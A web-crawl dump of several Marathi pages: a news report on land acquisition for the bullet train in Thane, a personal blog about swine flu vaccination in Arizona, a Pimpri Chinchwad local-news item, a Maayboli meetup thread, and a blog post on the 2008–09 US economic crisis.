आम्हाला होणार नाही, याची खबरदारी घ्या, अशी मागणी शेतकऱ्यांनी केली आहे. याबाबतची बैठक नुकतीच पार पडली. शेतकऱ्यांचे नुकसान होऊ न देता जमिनीला योग्य मोबदला देऊ, असे आश्‍वासन या वेळी शेतकऱ्यांना देण्यात आले.\nबुलेट ट्रेनसाठी आवश्‍यक असणाऱ्या ठाण्यातील २० हेक्‍टर जमिनीत नऊ गावांचा समावेश आहे. प्रकल्पाला विरोध होऊ नये, यासाठी ग्रामस्थ आणि शेतकऱ्यांशी चर्चा झाली. शेतकऱ्यांनी या वेळी विविध मागण्या सरकारसमोर ठेवल्या आहेत. यापैकी रेडीरेकनरचा दर वाढवावा, स्थानिकांना या प्रकल्पात नोकऱ्या द्याव्यात, रेल्वेच्या वेगामुळे कंपने होऊ नयेत आदी प्रमुख मागण्या या वेळी ग्रामस्थांनी मांडल्या. जिल्हा प्रशासनानेही याबाबत सकारात्मक भूमिका घेत, जिल्हा प्रशासन यात गावकरी आणि शेतकरी यांना पूर्णपणे विश्वासात घेऊन काम करू’, असे आश्‍वासन दिल्याचे जिल्हा उपविभागीय अधिकारी सुदाम परदेशी यांनी सांगितले.\nपरदेशी म्हणाले, ‘समृद्धी महामार्गाप्रमाणेच खुल्या वाटाघाटीनेच शेतकऱ्यांचे नुकसान होऊ न देता जमीन खरेदी केली जाईल. २६ मे २०१५ च्या सरकारी निर्णयाप्रमाणे जमिनीचे दर दिले जातील. ज्या ठिकाणी विकास आराखडा लागू आहे, अशा क्षेत्रासाठी रेडीरेकनरच्या दरात दुप्पट मोबदला शेतकऱ्यास मिळेल. सातबारा उताऱ्यावर नावे असणाऱ्या सर्वांच्या संमतीनेच जमीन खरेदीचा व्यवहार होईल’. तसेच, ही प्रक्रिया पारदर्शक असेल, असे सांगितले.\nप्रकल्पग्रस्त गावे सावली , घणसोली , शिळ , डावले, पडले, देसाई, अगासन, बेटावडे, म्हातार्डी\nश्रींना भावपूर्ण निरोप नागपूर : अकरा दिवसांत कानावर पडणारी गणेश स्तुतीवरील गिते, आरतीमुळे घराघरात संचारलेली भक्ती व उत्साहाची बाप्पाच्या विसर्जनाने...\nपाण्यापासून वंचित गावे कर्नाटकाला जोडण्याची सहमती द्यावी : येताळा भगत\nमंगळवेढा : बहुचर्चित मंगळवेढा तालुक्याचा पाणीप्रश्न सोडवणार नसाल तर तालुक्यातील वंचीत गावे कर्नाटकाशी जोडण्यची सहमती द्यावी...\nउल्हासनगरात महापौरच्या निवडणुकीला धक्कादायक कलाटणी\nउल्हासनगर : ऐन महापौर पदाच्या निवडणुकीच्या तोंडावर फुटलेल्या साईपक्षाची विभागणी झाली असून एका गटाने शिवसेनेशी हातमिळवणी केली आहे. त्या अनुषंगाने...\nसहकारच्या प्रधान सचिवांना निष्काळजीपणा भोवला; खंडपीठाने काढली नोटीस\nऔरंगाबाद : कार्यालयीन कर्तव्ये पार पाडताना विलंब व निष्काळजीपणा केल्याबद्दल राज्याच्या सहकार विभागाच्या प्रधान सचिवांना नोटीस काढण्यात आली. सहकार...\nड्रोनमुळे कृषी क्षेत्रात क्रांती घडेल- डॉ. रेड्डी यांचे मत; लोदग्यात ड्रोनची प्रात्याक्षिक\nलातूर - वेगवेगळ्या कारणामुळे कृषी क्षेत्र अडचणीत येत आहे. यात शेतकरी आर्थिक अडचणीत सापडत आहे. शेतीला तंत्रज्ञानाची जोड असणे आवश्यक आहे. हे लक्षात...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00194.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/10/blog-post_25.html", "date_download": "2018-09-25T17:46:49Z", "digest": "sha1:NMHXRAT2VLYAIBFPOAS24YNLJBYQ3TIA", "length": 17802, "nlines": 58, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: आमचेही (स्वाईन फ्लु) लसीकरण!", "raw_content": "\nआमचेही (स्वाईन फ्लु) लसीकरण\nया आठवड्यात तुझी ६ महिन्यांची तपासणी झाली. त्यावेळी तुझ्या तपसणिव्यतिरिक्त सिद्धुला \"स्वाईनफ्लु\" ची लसदेखील दिली. त्यामुळे थोडे निश्चिंत वाटले. सध्या स्वाईनफ्लुने बराच हाहाकार झाला आहे जगभर. भारतात पुणे तर अगदी २-४ आठवडे बंद पडले इतकी परिस्थिती गंभीर झाली होती. त्यामुळे तुझ्या डॉक्टरांनी सिद्धुला लस द्यायची का म्हटले तर आम्ही ताबडतोब संमती दिली.\nकाल ऑफिसवरुन आलो तर टीव्हीवर बातम्यांमध्ये सांगीतले की या वीकएण्डला फिनिक्समध्ये ४० ठिकाणी स्वाईनफ्लुची लस देण्यात येत आहे. त्यामुळे आम्ही आपल्या घराजवळचे एक ठिकाण शोधले. तिथे सकाळी ८ वाजल्यापासुन लस देण्यात येणार आहे असे गूगल वर वाचले. लसीचा तुटवडा असल्यामुळे दुसर्या दिवशी लवकर जाऊन तिथे लस मिळण्यासाठी \"नंबर\" लावायचा असे ठरले.\nखरे तर शनिवारी सकाळी ८ वाजता घराबाहेर पडणे म्हणजे अगदी पहाटे उठल्यासारखे वाटते. परंतु स्वाईनफ्लुचा धसकाच असा काही आहे की मी ७ वाजताच उठलो. सर्वांना घेउन सिग्ना या आरोग्यविमा कंपनीच्या केंद्रात लस घेण्यासाठी आमची स्वारी रवाना झाली. तसे अमेरिकेत पहाटे पहाटे नंबर लावण्याचे प्रसंग तसे कमी एका हाताच्या एकाच बोटावर मोजण्याइतकेच (अर्थात एकच) असतात. ते म्हणजे थॅन्क्सगिव्हिंग या सणाच्या दिवशी प्रचंड सवलतीच्या दरात पहाटे ६ ते १० पर्यंत ज्या वस्तु मिळतात त्यांच्या खरेदी साठी लोक पहाटे उटुन किंवा १ दिवस आधीपासुन दुकानासमोर रांगा लावतात तेवठेच. बाकी अमेरिकन लोकांना रांगा लावायला आवडत नाहीत. जे असेल ते सगळ्यांना मुबलक आणि तात्काळ उपलबद्घ असावे ही बर्याचदा वृत्ती असते. रांगा लावणे हा रशिया आणि त्यांच्या नादाने आपणही जी काही समाजवादी वाटचाल केली त्याच्या कृपेने आपल्या सहनशक्तीला चालना आणि बळकटी आणणारा प्रकार तसा अस्सल समाजवादी आहे. इन्स्टंट ग्रॅटिफिकेशन अर्थात तात्काळ मन:तृप्ती हा अगदी खास अमेरिकन प्रकार. काहींना बालिश वाटेल परंतु बरे वाटते लहान मुलांसारखे मनात आणले की गोष्टी हजर त्यातुन पुन्हा क्रेडिट कार्ड चा वापर करुन तर परवडेत नसेल तरीही लोक खरेदी करतात. असो तर \"तात्काळ मन:तृप्तीचे\" तोटेदेखील आहेतच. परंतु दारिद्र्याने खंगुन मरण्यापेक्शा भोगवादाच्या धुंदीत गुरफटुन जाणे तुलनेने नक्कीच कमी वाईट\nअसो .. तर सकाळी सकाळी सिग्नाच्या केंद्रात लस घ्यायला आम्ही चौघेही रवाना झालो. तिथे पोहोचलो तर आमच्या आधीच तिथे दोनएकशे लोक उभे होते. गाडी पार्क करायला जेमतेम कुठेतरी जागा मिळाली. अमेरिकन माणसांमध्ये शंभर दोष असतील परंतु आळस मात्र नाही आहे. आम्ही खरेतर १० मिनिटे आधीच पोहोचलो परंतु त्याआधीच पार्किंग लॉट भरुन गेला होता. रांगेत सर्वजण लेकुरवाळे होते. काही गरोदर बायकादेखील होत्या. आज फक्त त्यांनाच लस मिळणार होती ज्यांना जास्त गरज आहे. त्यात पाच वर्षांखालची मुले, किंवा कोणत्याही वयाची आजारी मुले/माणसे, गरोदर स्त्रिया आणि तान्ह्या मुलांचे पालक इत्यादिंचा समावेश होता. ही गोष्ट खरेच विचार करण्यासारखी आहे .... अमेरिकेत मागच्या आठवड्यात ९० लोक मेले स्वाईन फ्लु ने. अमेरिकेत स्वाईन फ्लुची तीव्रता भारतापेक्षा जास्त आहे. परंतु भारतात जसे पुणे बंद पडले तसे इथे घडले नाही. कारण कुठल्याही समस्येला धीराने आणि पद्धतशीरपणे सामोरे कसे जायचे याचे प्रशिक्षण इथे अनेकदा दिले जाते. अगदी ९११ घडले आणि तेव्हा त्या दोन इमारतींमधुन हजारो माणसे शांतपणे ७०-८० मजले उतरुन खाली आली आणि स्वत:चा जीव वाचवला. इथे शिस्त आणि समन्वय यांचे शिक्षण मुद्दामहुन दिले जाते. वर्षातुन किमान एकदा आग लागल्यावर इमारतीतुन कसे शांतपणे बाहेर पडायचे याचे शिक्षण दिले जाते. आपल्याकडे बर्याचदा जत्रा, मेळावे आणि यात्रा यामध्ये गर्दी आणि चेंगराचेंगरी होते. स्वाईन फ्लु मुळे कामे बंद पडणे हा काहीसा सामाजीक दक्षतेचा अभाव दर्शवतो. मुंबई वरच्या अतिरेकी हल्यांमध्ये या तयारीचा अभाव विशेष दिसुन आला. असो.. तो एक वेगळाच विषय अहे. परंतु मुख्य काय तर शांतपणे धीराने आणि तयारीने समस्येचा सामना करणे महत्वाचे.\nथोड्यावेळाने एक गार्ड येउन सर्वांना काही माहितीपत्रके देउन गेला. अमेरिकेत काम तसे शिस्तीत असते. आंधळेपणाने कुठेही काहीही कुणी करत नाही. लस देणारा आणि घेणारा दोघांवर माहिती देण्याची आणि घेण्याचे कायदेशीर बंधन आहे. आणि इथेच नाही तर बहुतांशी सर्वच गोष्टींमध्ये. कुणीही कुणाची फसवणुक करु नये हा उद्देश आणि सर्वांनी जाणतेपणी निर्णय घ्यावेत यासाठी हा प्रपंच.\nहळु हळु रांग पुढे सरकु लागली. थंडी होती. त्यामुळे सर्व मंडळी जॅकेट्स स्वेटर इत्यादि घालुन आलेली. आम्ही मात्र चौघेही साध्या कपड्यांमध्ये बाहेर पडलेलो. ऍरिझोना आहे म्हणुन चालतंय. मिशिगन ला हे करुन दाखवा. मिशिगनला घरातुन बाहेर २० पावलांवर पत्र पेटी उघडुन पत्रे घेउन परत येण्यासाठी जॅकेट आणि शुज घालण्याची गरज पडायची. ऍरिझोना मध्ये हाच प्रकार उन्हाळ्यात घडतो. रात्री ९ वाजता देखील गरम झळया येत असतात. पुण्याच्या सुंदर हवेला सोकावलेला जीव कुठेही गेला तरीही कुरकुर केल्याशिवाय रहात नाही. त्याला आम्ही पुणेकर चिकित्सकपणाचे नाव देऊन समोरच्याचे तोंड बंद करतो. असो ..\nरांगेत समोर नवरा बायको मुले दोन असे एक आमच्या सारखेच चौकोनी कुटुंब उभे. बायकोने नवर्याला कारमधुन कॉफी आणुन दिली. त्यावर तो थॅंन्कयु म्हणाला. आपल्याच बायकोला हे आपल्याला रुचत नाही आणि कळत आणि वळतही नाही. मी पहिल्यांदा परदेशात गेलो ते ऑस्ट्रेलियामध्ये. तिथे पहिल्यांदा आयुष्यात कळले की शिष्टाचार म्हणजे काय. तोपर्यंत शिष्टाचार म्हणजे फक्त \"शिष्ट आचार\" असे वाटायचे. आणि नुमवी आणि मुळात पुण्याचे पाणी असल्यामुळे \"शिष्ट आचारात\" कसुर कधीच झाली नव्हती. त्यामुळे ऑस्ट्रेलियात ९७ साली दुकानात - आपल्याकडे जसे \"काय पाहिजे\" असे त्रासिक मुद्रेने विचारले जाते - तसे न विचारता - \"आपण बरे आहात का\" असे विचारल्यावर अतिशय दचकायला व्हायचे. आईशप्पथ हा विनोद नाही. मला खरोखरीच असे वाटायचे की मी बरा आहे पण तु का विचारतेस हे आपल्याला रुचत नाही आणि कळत आणि वळतही नाही. मी पहिल्यांदा परदेशात गेलो ते ऑस्ट्रेलियामध्ये. तिथे पहिल्यांदा आयुष्यात कळले की शिष्टाचार म्हणजे काय. तोपर्यंत शिष्टाचार म्हणजे फक्त \"शिष्ट आचार\" असे वाटायचे. आणि नुमवी आणि मुळात पुण्याचे पाणी असल्यामुळे \"शिष्ट आचारात\" कसुर कधीच झाली नव्हती. त्यामुळे ऑस्ट्रेलियात ९७ साली दुकानात - आपल्याकडे जसे \"काय पाहिजे\" असे त्रासिक मुद्रेने विचारले जाते - तसे न विचारता - \"आपण बरे आहात का\" असे विचारल्यावर अतिशय दचकायला व्हायचे. आईशप्पथ हा विनोद नाही. मला खरोखरीच असे वाटायचे की मी बरा आहे पण तु का विचारतेस त्यामुळे आमची स्वारी ऑस्ट्रेलियाहुन परतली त्यानंतर एका मित्राच्या घरी कसबा पेठेत जेवायला गेली आणि तिथे त्याच्या आईने वाढल्यावर तिला मी अगदी ऑस्ट्रेळल्या भाषेत थॅन्क्यु म्हणल्यावर डोक्यात लाटणे घालु का असा चेहेरा केला होता. अर्थात कसब्यात डोक्यात लाटणे काय दांडकेही बसु शकते कारणाशिवाय तो भाग वेगळा. परंतु तात्पर्य काय तर शिष्टाचार चांगला आहे ... परंतु नथिंग बीट्स प्रेम आणि आपुलकी. अमेरिकन/युरोपिअन लोकांमध्ये प्रेम आणि आपुलकी नाही असे नाही. परंतु दे हॅव अ लॉन्ग वे टु गो ऑन दॅट फ्रंट. तसेच भारतिय/पौर्वात्य देशांमध्ये व्यवहारातील शिष्टाचार वाढण्याची गरज आहे.\nरांग हळु हळु पुढे सरकत होती. गाड्यांचा ओघ चालुच होता. आमच्या पुढचे कुटुंब बहुधा पूर्व युरोपियन (रोमेनिया इ.) होते. मागचे मेक्सिकन+अमेरिकन. त्यामागे भारत/पाक/बांगला मुस्लिम. आमच्या दोन घरे पुढे फिलिपिनो किंवा चीनी... अमेरिका ही अशी भेळ आहे. आमच्या मागच्यांचा दोन वर्षांचा मुलगा येऊन माझ्या पायाला धरुन खेळु लागला. मागे वळुन पाहिले तर खजील होऊन त्याची आई मला म्हणाली \"ऊप्स रॉन्ग डॅड\" आम्ही सगळे हसलो.\nअखेरीस आम्ही आत मध्ये पोहोचलो. तेव्हा कळले की आम्हाला देखील स्वाईनफ्लु ची लस मिळेल कारण आम्ही एका सहा महिन्यांच्या बाळाची काळजी घेत आहोत. कुणाला तरी आणि विशेष करुन सरकारला आमच्या (बव्हंशी तुझ्या आईच्या) कष्टांची जाणीव आहे हे पाहुन मला गहिवरुन आले. दोन मिनिटात फॉर्म भरले, लस घेतली आणि बाहेर आलो.\nलवकरात लवकर सर्वांना ही लस मिळावी आणि दहशतीचे वातावरण निवळावे अशी इच्छा\nआमचेही (स्वाईन फ्लु) लसीकरण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00194.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BF%E0%A4%82%E0%A4%9A%E0%A4%B5%E0%A4%A1%E0%A4%9A%E0%A5%87-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B6%E0%A5%8D%E0%A4%A8-%E0%A4%AF/", "date_download": "2018-09-25T17:58:35Z", "digest": "sha1:AUVPTUPJPHW6HLRTB2Z4EOD7XMI2CKVC", "length": 5330, "nlines": 69, "source_domain": "pclive7.com", "title": "पिंपरी चिंचवडचे प्रश्न या अधिवेशनात सुटणार ? (व्हिडीओ) | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी चिंचवडचे प्रश्न या अधिवेशनात सुटणार \nपिंपरी चिंचवडचे प्रश्न या अधिवेशनात सुटणार \nपिंपरी (Pclive7.com):- राज्य विधीमंडळाचे अर्थसंकल्पीय अधिवेशन आजपासून सुरू झालेय.. पिंपरी चिंचवड शहरातील अनधिकृत बांधकाम, शास्तीकर, निगडीपर्यंत मेट्रो नेणे यासह अनेक प्रश्नांवर शहरातील आमदार आवाज उठवणार आहेत.. त्यामुळे या अधिवेशनात आमदारांच्या लक्षवेधीवर संपूर्ण शहरवासियांचे लक्ष लागले आहे…\nTags: bjpmlaMla Laxman JagtapMla mahesh landgePCLIVE7.COMअधिवेशनअर्थसंकल्पीयआमदारचिंचवडपिंपरीमहेश लांडगेराज्यलक्षवेधीलक्ष्मण जगताप\nचिंचवडमध्ये गरोदर महिलेची गळफास घेऊन आत्महत्या\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00194.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://www.maayboli.com/node/16258?page=3", "date_download": "2018-09-25T17:54:26Z", "digest": "sha1:ACJHKEKNPPKHOVGRNNB5KZ5DXZGLCYPD", "length": 6921, "nlines": 132, "source_domain": "www.maayboli.com", "title": "बे एरिया गटग - २६ मे आणि ३० मे २०१० | Page 4 | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /बे एरिया गटग - २६ मे आणि ३० मे २०१०\nबे एरिया गटग - २६ मे आणि ३० मे २०१०\nतारिख - २६ मे २०१० - संध्याकाळी ७.००वाजता\nठिकाण - बनाना लीफ रेस्टॉरंट, मिलपिटस\nकारण - जिटीजी आहे कारणे काय विचारता आँ\nआता विचारलेच आहे म्हणून सांगते - सुनिधीला भेटण्यानिमित्त आहे हे जीटीजी\nतारिख - ३० मे २०१० - सकाळी ११.०० वाजता\nठिकाण - माझे घर\nकारण - माननिय झारा आणि अ‍ॅडमिन यांच्याशी गप्पा मारण्याप्रित्यर्थ\nमिनोती, शिरा विसरलीस. सर्व\nशिरा विसरलीस. सर्व पदार्थ एकदम A-1 झाले होते.\nकाल खरंच छान वाटलं सर्वाना भेटून. मिनोती थँक्स एवढ्या कमी वेळात सर्व आयोजीत केल्याबद्दल.\nसहीच. कृपया बीट-कॅरट पुलावची\nसहीच. कृपया बीट-कॅरट पुलावची रेस्पी यो जा टा\nगुर्जी - बायकोला विचारुन कृती\nगुर्जी - बायकोला विचारुन कृती टाका पुलावची.\nअरे वा मस्तच... स्टोर्वी-केटी, अभिजित अंजली हे आमचे जुने गटग वाले मेंबर.\nवृतांत लिहा कि लोकहो.\nमंडळी, मी नंतर ५ दिवस फिरत\nमंडळी, मी नंतर ५ दिवस फिरत होते. काल पडुनच होते इतके दमले होते.\nआज इथे यायला मिळाले. सर्वांना भेटुन खुप मजा आली.\nफाए, सुचना जितक्या मौलिक होत्या तितकेच योसेमिटी सुंदर आहे. हवा मस्त होती. मैत्रेयी ने १७ मैल रस्त्यावर जायला सांगितले होते, ते पण अप्रतिम आहे.\nबाकी बनाना लीफ खरच छान आहे रमा... इतके छान खाणे खिलवल्यबाद्दल सर्वांना मनापासुन धन्यवाद ..\nमिनोती, ते टोफुची डिश चे जरा पहाशील. ... काय मस्त होती ती.\nआता इथे या एक बस काढुन.\nपाककृती योग्य जागी टाकली आहे.\nपाककृती योग्य जागी टाकली आहे.\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00194.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/01/blog-post_15.html", "date_download": "2018-09-25T17:47:16Z", "digest": "sha1:COO5MSZ32CDS6SPWU3UAYJHHIM3JXMB7", "length": 12520, "nlines": 59, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: अर्थ आणि अनर्थ", "raw_content": "\nआज सकाळी सकाळी राजीवचा फ़ोन आला साधारणतः २ वर्षांपूर्वी राजीवशी ओळख झाली साधारणतः २ वर्षांपूर्वी राजीवशी ओळख झाली एक मित्राच्या घरी जेवण आणि गप्पांचा कार्यक्रम होता तिथे राजीव भेटला एक मित्राच्या घरी जेवण आणि गप्पांचा कार्यक्रम होता तिथे राजीव भेटला राजकारण अर्थव्यवस्था या विषयांवर गप्पा इतक्या रंगल्या की नंतर भेटी होत गेल्या आणि गट्टी जमली राजकारण अर्थव्यवस्था या विषयांवर गप्पा इतक्या रंगल्या की नंतर भेटी होत गेल्या आणि गट्टी जमली बर्याचदा आम्ही सहकुटुम्ब भेटतो बर्याचदा आम्ही सहकुटुम्ब भेटतो कधी आमच्या अपार्टमेन्ट मध्ये तर कधी राजीवच्या घरी कधी आमच्या अपार्टमेन्ट मध्ये तर कधी राजीवच्या घरी अमेरिकेत माणसे तशी दुर्मिळ अमेरिकेत माणसे तशी दुर्मिळ त्याहून दुर्मिळ म्हणजे इतर भारतीयांचा सहवास आणि मैत्री त्याहून दुर्मिळ म्हणजे इतर भारतीयांचा सहवास आणि मैत्री त्यामुळे शुक्रवार/शनीवार/रवीवार या दिवशी सर्वचजण एकमेकांना भेटायला उत्सुक असतात त्यामुळे शुक्रवार/शनीवार/रवीवार या दिवशी सर्वचजण एकमेकांना भेटायला उत्सुक असतात त्यानिमित्ताने मोठ्यांच्या गप्पा होतात आणि लहान मुलांना मित्र मैत्रीणी मिळतात\nपरन्तु आजच्या फोनचा विषय अगदीच गंभीर होता राजीव एका प्रख्यात विमा कंपनीत आर्थिक सल्लागार म्हणुन काम करतो आहे राजीव एका प्रख्यात विमा कंपनीत आर्थिक सल्लागार म्हणुन काम करतो आहे कंपनीच्या वरिष्ठांनी त्याला सांगितले की २ आठवड्यांनंतर त्यांने फक्त घरुनच काम करायचे कंपनीच्या वरिष्ठांनी त्याला सांगितले की २ आठवड्यांनंतर त्यांने फक्त घरुनच काम करायचे इतकेच नाही तर त्याचा आरोग्य विमा आणि इतर काही सवलती सर्व काढून घेण्यात येतील इतकेच नाही तर त्याचा आरोग्य विमा आणि इतर काही सवलती सर्व काढून घेण्यात येतील त्यामुले यापुढे राजीवला त्याच्या बायकोच्या (नम्रता) वर थोडेफार अवलंबून रहावे लागणार आहे त्यामुले यापुढे राजीवला त्याच्या बायकोच्या (नम्रता) वर थोडेफार अवलंबून रहावे लागणार आहे नम्रता माझ्याच कंपनी मध्ये काम करीत होती नम्रता माझ्याच कंपनी मध्ये काम करीत होती परन्तु काही महिन्यांपूर्वी आमच्या कंपनीने आपला काही भाग एक दुसऱ्या कंपनीला विकला परन्तु काही महिन्यांपूर्वी आमच्या कंपनीने आपला काही भाग एक दुसऱ्या कंपनीला विकला त्यामध्ये नम्रताच्या नोकरिचेही हस्तांतर झाले त्यामध्ये नम्रताच्या नोकरिचेही हस्तांतर झाले त्यामुळे पुढच्या काही दिवसांमध्ये नम्रताचीही नोकरी जाऊ शकते\nएकंदरीत हे सर्व अमेरिकेतील सध्याच्या आर्थिक परिस्थितीच्या सामान्य माणसांवर होत असलेल्या परिणामांचे द्योतक आहे सध्या अमेरिकेत अभूतपूर्व आर्थिक उलथापालथ चालू आहे सध्या अमेरिकेत अभूतपूर्व आर्थिक उलथापालथ चालू आहे अगदी त्यांच्या अर्थव्यवस्थेच्या प्रमुख आधारस्तम्भान्ना धक्का देणारी उलथापालथ आहे ही अगदी त्यांच्या अर्थव्यवस्थेच्या प्रमुख आधारस्तम्भान्ना धक्का देणारी उलथापालथ आहे ही मागील २१ वर्षे म्हणजे १९८७ सालापासून अमेरिकेने अत्यन्त उदार वित्तपुरवठ्याचे धोरण स्वीकारले मागील २१ वर्षे म्हणजे १९८७ सालापासून अमेरिकेने अत्यन्त उदार वित्तपुरवठ्याचे धोरण स्वीकारले वित्तपुरवठा म्हणजे अर्थव्यवस्थेतिल विविध घटकांना पोषण पुरवणारा रक्तप्रवाहच जणू वित्तपुरवठा म्हणजे अर्थव्यवस्थेतिल विविध घटकांना पोषण पुरवणारा रक्तप्रवाहच जणू योग्य वित्तपुरवठ्यामुळे समाजातील विविध घटक व्यक्ति आणि संस्था एकमेकांच्या उत्पादन आणि सेवांची सुलभरीत्या आदान प्रदान करू शकतात योग्य वित्तपुरवठ्यामुळे समाजातील विविध घटक व्यक्ति आणि संस्था एकमेकांच्या उत्पादन आणि सेवांची सुलभरीत्या आदान प्रदान करू शकतात जितकी जास्त उत्पादने आणि सेवा तितका अधिक वित्तपुरवठा आवश्यक जितकी जास्त उत्पादने आणि सेवा तितका अधिक वित्तपुरवठा आवश्यक परन्तु जरूरीपेक्षा जास्त वित्तपुरवठा चलनफुगवटा निर्माण करू शकतो परन्तु जरूरीपेक्षा जास्त वित्तपुरवठा चलनफुगवटा निर्माण करू शकतो अमेरिकेत मात्र याहून अधिक धोकादायक गोष्टी घडल्या अमेरिकेत मात्र याहून अधिक धोकादायक गोष्टी घडल्या अमेरिकेच्या मुळालाच धक्का लागेल अश्या गोष्टी घडल्या\nपरन्तु त्या आधी अमेरिकेच्या आणि एकंदरीतच पाश्चात्य देशांचे यशाचे गमक समजुन घेतले पाहिजे पाश्चात्य अर्थव्यवस्थांचे अनेक यशोगुण आहेत पाश्चात्य अर्थव्यवस्थांचे अनेक यशोगुण आहेत संशोधन, नाविन्य, उत्पादकता, न्यायप्रवण प्रशासन, उद्योगाभिमुख धोरण, आणि सर्वात महत्वाचे अतिशय संतुलितरित्या आजमावण्यात येणारी कायदा यंत्रणा\nसंतुलित अश्याकरिता की कायद्याने इतकेही कड़क असू नये की समाजातील कल्पकता कोमेजुन जावी अणि इतके ही शिथीलअसू नये की अराजकता माजेल आणि व्यक्तिगत संपत्तीचे रक्षण करण्याची शाश्वती नसल्यामुळे कल्पकता आकुंचन पावेल अणि इतके ही शिथीलअसू नये की अराजकता माजेल आणि व्यक्तिगत संपत्तीचे रक्षण करण्याची शाश्वती नसल्यामुळे कल्पकता आकुंचन पावेल दोन्ही ठिकाणी कल्पकतेचे वर्धन आणि उपयोजन अभिप्रेत आहे दोन्ही ठिकाणी कल्पकतेचे वर्धन आणि उपयोजन अभिप्रेत आहे कारण समाजातील राहणीमान कल्पकतेच्या सुयोग्य उपयोजनामुळे वाढत जाते कारण समाजातील राहणीमान कल्पकतेच्या सुयोग्य उपयोजनामुळे वाढत जाते भारतातून इकडे येउन 8 वर्षे झाली. परन्तु आजही जेव्हा आम्ही परत जातो तेव्हा असे दिसते की ९९ % भारतीयांच्या समस्या त्याच आहेत ज्या ८ वर्षांपुर्वी होत्या भारतातून इकडे येउन 8 वर्षे झाली. परन्तु आजही जेव्हा आम्ही परत जातो तेव्हा असे दिसते की ९९ % भारतीयांच्या समस्या त्याच आहेत ज्या ८ वर्षांपुर्वी होत्या आईटी बीपीओ मुळे सम्पत्ती आल्याचा भास् जरूर आहे परन्तु काही ठरावीक शहरी समाज घटकांपलिकडे राहणीमान कितपत सुधारले आहे आईटी बीपीओ मुळे सम्पत्ती आल्याचा भास् जरूर आहे परन्तु काही ठरावीक शहरी समाज घटकांपलिकडे राहणीमान कितपत सुधारले आहे मुद्दा वादाचा जरूर आहे, परन्तु आशय इतकाच की भारतातील न्याय अर्थ आणि प्रशासन यांची घड़ी योग्य नसल्यामुळे आणि जात-पात-प्रांत भेद यांच्या प्राबल्यामुळे कल्पकता अगदी मृतवत झाली आहे मुद्दा वादाचा जरूर आहे, परन्तु आशय इतकाच की भारतातील न्याय अर्थ आणि प्रशासन यांची घड़ी योग्य नसल्यामुळे आणि जात-पात-प्रांत भेद यांच्या प्राबल्यामुळे कल्पकता अगदी मृतवत झाली आहे माझ्या मते आपल्याकडील गरिबिचे ते प्रमुखच नव्हे तर एकमेव कारण आहे. याउलट उत्तम न्यायव्यवस्था हे जगातील सर्वच प्रगत देशांचे लक्षण आहे माझ्या मते आपल्याकडील गरिबिचे ते प्रमुखच नव्हे तर एकमेव कारण आहे. याउलट उत्तम न्यायव्यवस्था हे जगातील सर्वच प्रगत देशांचे लक्षण आहे अगदी आपल्याकडे सुद्धा चाणक्याने सांगितले आहे की \"सरकार / शासनाचे उद्दिष्ट समानता नाही तर मास्त्यन्यायाला टाळणे आहे अगदी आपल्याकडे सुद्धा चाणक्याने सांगितले आहे की \"सरकार / शासनाचे उद्दिष्ट समानता नाही तर मास्त्यन्यायाला टाळणे आहे\" विविधता आणि असमानता हा निसर्गाचा गुणधर्म आहे\" विविधता आणि असमानता हा निसर्गाचा गुणधर्म आहे परन्तु त्या 